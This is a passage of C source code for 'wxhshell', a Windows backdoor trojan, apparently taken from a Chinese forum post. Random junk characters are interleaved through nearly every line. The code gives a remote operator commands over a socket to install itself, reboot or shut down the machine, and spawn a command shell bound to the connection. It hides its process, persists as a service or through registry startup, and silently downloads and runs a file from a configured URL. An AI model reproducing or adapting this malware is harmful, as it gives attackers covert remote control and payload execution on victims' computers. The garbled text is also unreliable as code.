  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d(XWt;KK  
  } y~[So ,G  
  else { \59hW%Di  
u] b6>  
    switch(cmd[0]) { ;_ton?bF  
  \/Y<.#?_  
  // 帮助 ,{at?y*  
  case '?': { jd*H$BU^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i[n 1}E.@  
    break; S3f BZIPp  
  } 2S/7f:  
  // 安装 {BU,kjv1g  
  case 'i': { D bJ(N h  
    if(Install()) EK^2 2vi$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NKrk*I"G  
    else &aOOG8l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y$^QH.h  
    break; q?\D9aT9  
    } HC+R :Dz  
  // 卸载 10 ^=1@U  
  case 'r': { / [M~##%:  
    if(Uninstall()) 2F(j=uV+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v/dcb%  
    else *<1m 2t>.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UHWun I S  
    break; d8po`J#nb  
    } =t2epIr 5  
  // 显示 wxhshell 所在路径 NKws;/u  
  case 'p': { ImVe 71mh  
    char svExeFile[MAX_PATH]; k6\c^%x  
    strcpy(svExeFile,"\n\r");  O(!'V~3  
      strcat(svExeFile,ExeFile); ovp>"VuC  
        send(wsh,svExeFile,strlen(svExeFile),0); ^ z;pP  
    break; .v{ty  
    } u9Ro=#xt  
  // 重启 mx2 Jt1  
  case 'b': { B7;MY6h#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zZ63 P  
    if(Boot(REBOOT))  o~B=[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J2rH<Fd[up  
    else { +zvK/Fj2q  
    closesocket(wsh); q$P"o].EK  
    ExitThread(0); _U %B1s3y  
    } _DQdo  
    break; ^.Q),{%Xo  
    } Aj_}B.  
  // 关机 -_+0[Nb.  
  case 'd': { 6822xk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tp"\  
    if(Boot(SHUTDOWN)) e_SlM=_ u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+i-)  
    else { l_WY];a  
    closesocket(wsh); jBM>Pe^`3  
    ExitThread(0); $8)/4P?OL  
    } :>=,sLfJ  
    break;  NNX/2  
    } _>.%X45xi  
  // 获取shell cQjJ9o7  
  case 's': { 23PSv8;EM  
    CmdShell(wsh); Qk= w ,`  
    closesocket(wsh); 4p]Y`];U  
    ExitThread(0); %{Gqhb=u\  
    break; i~4Kek6,I  
  } S1."2AxO  
  // 退出 s*;~CH-[  
  case 'x': { UOyP6ej  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U4g ZW]F  
    CloseIt(wsh); `#hy'S:e  
    break; 2mRso.Ah  
    } B(~D*H2T[  
  // 离开 9I9)5`d|Jn  
  case 'q': { .|K5b]na  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :}lE@Y,R   
    closesocket(wsh); q:( K^  
    WSACleanup(); lWR  
    exit(1); @0G} Q  
    break; O3Uu{'=0  
        } 8^T' a^Wt  
  } ?~$y3<[  
  } ^U1;5+2G+~  
shD$,! k  
  // 提示信息 |Z<adOg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *+G K ?Ga  
} V}("8L  
  } S9.jc@#.`  
7W*OyH^  
  return; (L\tp> E-  
} D4G{= Y}G  
C9fJLCufC  
// shell模块句柄 3jQ |C=   
int CmdShell(SOCKET sock) I^o^@C  
{ 975KRnj  
STARTUPINFO si; rpvm].4  
ZeroMemory(&si,sizeof(si)); L:31toGK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _T1e##Sq,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y Le5,  
PROCESS_INFORMATION ProcessInfo;  :sf;Fq  
char cmdline[]="cmd"; @`T6\ 1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GxBj N7"  
  return 0; /a,q4tD@  
} ,Vogo5~X  
P++gR@  
// 自身启动模式 :F_U^pyG  
int StartFromService(void) te`4*t  
{ OSBE5  
typedef struct hk~ s1"  
{ {*: C$"L  
  DWORD ExitStatus; uaS?y1:c  
  DWORD PebBaseAddress; V{8mx70  
  DWORD AffinityMask; zd}"8  
  DWORD BasePriority; (Lc%G~{  
  ULONG UniqueProcessId; i}Y:o}  
  ULONG InheritedFromUniqueProcessId; u`ZnxD>  
}   PROCESS_BASIC_INFORMATION; =Vi+wH{xM  
, vR4x:W  
PROCNTQSIP NtQueryInformationProcess; }\9qN!ol  
H;v*/~zl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {5,CW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5EU3BVu&u  
>yaRz+  
  HANDLE             hProcess; jWm<!< ~  
  PROCESS_BASIC_INFORMATION pbi;  ;HW@ZI  
A;% fAI2Vr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'RPe5 vB  
  if(NULL == hInst ) return 0; J[^-k!9M  
vnKUD|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (h E^<jNR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v"^G9u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [[Z*n/tr  
$+Xohtt  
  if (!NtQueryInformationProcess) return 0; J~~WV<6  
Alrk3I3{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zfS`@{;F`|  
  if(!hProcess) return 0; *@D.=i>  
,i'>+Ix<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bk V_ ^8  
z 6p.{M  
  CloseHandle(hProcess); Eg ;r]?|6  
DlaA-i]l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lK{h%2A\b  
if(hProcess==NULL) return 0; NpSS/rd $  
Hi )n]OE  
HMODULE hMod; rK"x92P0  
char procName[255]; IF<jq\M  
unsigned long cbNeeded; . 8k9yk  
O5E\#*<K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u-8,9  
tYVmB:l  
  CloseHandle(hProcess); pJV<#<#Z  
;0 ,-ywK  
if(strstr(procName,"services")) return 1; // 以服务启动 ]@_*O$  
/CH*5w)1   
  return 0; // 注册表启动 6z~6o0s~  
} L9@nx7D  
*S7<QyVh  
// 主模块 p2\@E} z  
int StartWxhshell(LPSTR lpCmdLine) aCQAh[T  
{ "I u3&mc  
  SOCKET wsl; -_B*~M/vV`  
BOOL val=TRUE; &kh-2#E  
  int port=0; <"6 }C)G  
  struct sockaddr_in door; caS5>wk`R  
p?ICZg:  
  if(wscfg.ws_autoins) Install(); xse8fGs  
8^kw  
port=atoi(lpCmdLine); dtJ?J<m}  
kid@*.I  
if(port<=0) port=wscfg.ws_port; yj-BLR5  
J#MUtpPdQ  
  WSADATA data; l7\Bq+Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H|5\c=  
Gq?JMq#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H}`}qu #~V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jruwdm^  
  door.sin_family = AF_INET; ZPRkk?M}.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FK<1SOE  
  door.sin_port = htons(port); r"c<15g2'  
=5J}CPKbZI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EP,lT.u3  
closesocket(wsl); n{aD4&  
return 1; OLTgBXh  
} 'V/+v#V+>  
eX>x +]l6  
  if(listen(wsl,2) == INVALID_SOCKET) { Rjt]^gb!*  
closesocket(wsl); TF2'-"2Y  
return 1; h<JV6h:8  
} C`Zz\DNG@  
  Wxhshell(wsl); > <^ ,  
  WSACleanup(); @w?hX K=  
saY":fva  
return 0; CKCot  
4"7/+6Z  
} %d3qMnYu  
kocgPO5  
// 以NT服务方式启动 FbhF45H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h_n`E7&bG  
{ jYI\.bc  
DWORD   status = 0; $cflF@ 3  
  DWORD   specificError = 0xfffffff; =)!sWY:  
p%[/ _ -7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l]C#bL>i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P9c!   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2M@,g8O+B=  
  serviceStatus.dwWin32ExitCode     = 0; ~qT5F)$B-  
  serviceStatus.dwServiceSpecificExitCode = 0;  b"iPuN!p  
  serviceStatus.dwCheckPoint       = 0; ;<hLy(@  
  serviceStatus.dwWaitHint       = 0; <*oTVl4fS  
_TEjB:9eY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MfQ 9d9  
  if (hServiceStatusHandle==0) return; HHzAmHt  
6fY-D qF!  
status = GetLastError(); `|(S]xPHM  
  if (status!=NO_ERROR) ^Y,nv,gYn  
{ W"$sN8K>)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ozB2L\D7  
    serviceStatus.dwCheckPoint       = 0; 9vZ:oO  
    serviceStatus.dwWaitHint       = 0; =# 0f4z  
    serviceStatus.dwWin32ExitCode     = status; F=EG#<@u  
    serviceStatus.dwServiceSpecificExitCode = specificError; juIi-*R!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Y>FuE  
    return; hh#p=Y(f  
  } 9X/]O<i,Es  
%\$~B?At  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n` M!K:Pq  
  serviceStatus.dwCheckPoint       = 0; UB^OMB-W.m  
  serviceStatus.dwWaitHint       = 0; <x-7MU&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )xm[mvt  
} {#y~ Qk;T  
?sD4S   
// 处理NT服务事件,比如:启动、停止 OGcq]ue  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5v5)vv.kd  
{ p4-UW;Xu  
switch(fdwControl) n37P$0  
{ Q ?xA))0  
case SERVICE_CONTROL_STOP: [3D*DyQt  
  serviceStatus.dwWin32ExitCode = 0; s_o{w"3X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z;iNfs0i$  
  serviceStatus.dwCheckPoint   = 0; wAD%1;  
  serviceStatus.dwWaitHint     = 0; l$Y*ii  
  { pT|l"q@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [eLMb)n  
  } x/NjdK  
  return; u43W.4H13  
case SERVICE_CONTROL_PAUSE: [|&#A;{F#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G9_7jX*  
  break; \~X:ffb =  
case SERVICE_CONTROL_CONTINUE: f*o+g:]3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r:3h 2J[_  
  break; \:-"?  
case SERVICE_CONTROL_INTERROGATE: /L{V3}[j  
  break; 7D&O5Z=%+  
}; FRhHp(0}5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t03X/%H  
} ?xW,2S  
j[CXIz?c  
// 标准应用程序主函数 <c3Te$.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oZ5 ,y+L4  
{ L9{y1'')  
Y[!s:3\f  
// 获取操作系统版本 fDjJdRS"  
OsIsNt=GetOsVer(); 4v.{C"M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jZr"d*Y  
]$~\GE^  
  // 从命令行安装 UMUG~P&@  
  if(strpbrk(lpCmdLine,"iI")) Install(); TrPw*4h 9s  
WeZ?L|&%w0  
  // 下载执行文件 2Q=I`H _  
if(wscfg.ws_downexe) { 'pj*6t1~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >t#5eT`_ w  
  WinExec(wscfg.ws_filenam,SW_HIDE); dk/f_m  
} F1*xY%Jv^M  
|_njN  
if(!OsIsNt) { S ^]mF>xX8  
// 如果时win9x,隐藏进程并且设置为注册表启动 1 HY K& ',  
HideProc(); 9+#BU$*v  
StartWxhshell(lpCmdLine); =O%'qUj`q  
} =&Z#QD"vl  
else H S)$|m_  
  if(StartFromService()) 0oQJ}8t  
  // 以服务方式启动 @d|3c7` A  
  StartServiceCtrlDispatcher(DispatchTable); 2Q%*` vCuV  
else U4=m>Ty  
  // 普通方式启动  qC6@  
  StartWxhshell(lpCmdLine); J4%"38l  
#f@}$@  
return 0; pz=/A  
}
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只看该作者 1 发表于: 2006-10-10
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